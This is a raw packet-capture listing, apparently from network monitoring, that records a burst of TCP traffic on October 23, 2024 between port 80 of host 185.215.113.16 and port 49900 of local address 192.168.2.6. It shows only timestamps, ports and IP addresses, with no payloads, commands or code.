Oct 23, 2024 17:51:47.355010033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355021954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355034113 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355051994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355066061 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355068922 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355077982 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355088949 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355092049 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355102062 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355108023 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355142117 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355288982 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355300903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355319977 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355340958 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355376959 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355458975 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355479002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355490923 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355503082 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355514050 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355520010 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355542898 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355557919 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355570078 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355572939 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355582952 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355597019 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355597973 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355607986 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355613947 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355618954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.355632067 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.355659962 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356031895 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356043100 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356055021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356066942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356077909 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356084108 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356090069 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356102943 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356111050 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356137991 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356194019 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356204987 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356215954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356230021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356239080 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356241941 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356255054 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356255054 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356266975 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356278896 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356285095 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356311083 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356328011 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356342077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356353045 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356375933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356380939 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356388092 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356399059 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356400967 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356410027 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356415033 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356420994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356431961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356435061 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356460094 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356463909 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356473923 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356494904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356503963 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356508017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356529951 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356549978 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356550932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356564045 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356570005 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356576920 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356589079 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356600046 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356601000 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356611013 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356621981 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356626034 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356632948 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356641054 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356645107 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356657028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356667995 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356673956 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356678963 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356689930 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356700897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356703043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356714010 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356722116 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356724977 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356736898 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356738091 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356748104 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356767893 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356795073 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356816053 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356827974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356841087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356852055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356857061 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356865883 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356877089 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356887102 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356903076 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356914997 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356921911 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356937885 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356951952 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356962919 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356964111 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356973886 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.356975079 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.356996059 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357004881 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357007980 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357017994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357029915 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357031107 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357043028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357044935 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357059956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357072115 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357073069 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357084990 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357096910 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357098103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357116938 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357127905 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357139111 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357140064 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357151985 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357167006 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357192993 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357197046 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357208967 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357220888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357230902 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357237101 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357244968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357264042 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357270002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357290030 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357305050 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357464075 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357475042 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357486010 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357498884 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357506990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357511044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357522011 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357522964 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357539892 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357542038 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357552052 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357563019 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357567072 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357574940 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357587099 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357588053 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357600927 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357613087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357630968 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357655048 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357834101 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357846975 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357858896 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357897997 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357898951 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357911110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.357944012 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.357955933 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.358088017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358098984 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358144045 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.358225107 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358237028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358277082 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.358302116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358314037 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358326912 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358339071 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358351946 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358360052 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.358361006 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358391047 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.358417988 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.358925104 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358936071 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358947039 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358966112 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358978033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.358984947 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.358989954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359003067 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359014034 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359014034 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359026909 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359030962 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359038115 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359046936 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359050035 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359061956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359066010 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359072924 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359082937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359092951 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359107018 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359118938 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359124899 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359136105 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359148026 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359158993 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359168053 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359169960 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359181881 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359184027 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359194040 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359201908 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359216928 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359227896 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359234095 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359241009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359251976 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359261990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359262943 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359273911 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359276056 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359293938 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359306097 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359306097 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359327078 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359333038 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359344006 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359355927 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359358072 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359366894 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359374046 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359379053 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359390974 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359390974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359421015 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359436989 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359482050 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359498978 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359510899 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359534979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359564066 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359577894 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359590054 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359596968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359631062 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359652996 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359852076 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359873056 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359886885 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359899998 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359914064 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359934092 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.359941959 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359955072 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.359989882 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360141039 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360158920 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360169888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360182047 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360183001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360204935 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360205889 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360223055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360233068 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360235929 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360249043 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360259056 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360268116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360279083 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360285997 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360290051 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360311985 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360313892 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360330105 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360338926 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360342026 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360352039 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360364914 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360364914 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360377073 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360389948 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360392094 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360400915 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360414028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360416889 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360424042 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360435963 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360444069 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360449076 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360460997 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360461950 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360476971 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360479116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360491037 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360502958 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360505104 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360513926 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360526085 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360537052 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360538960 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360551119 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360553026 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360562086 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360574007 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360582113 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360599041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360610962 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360613108 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360624075 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360624075 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360646963 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360652924 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360661983 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360672951 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.360677958 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.360683918 CEST	80	49900	185.215.113.16	192.168.2.6
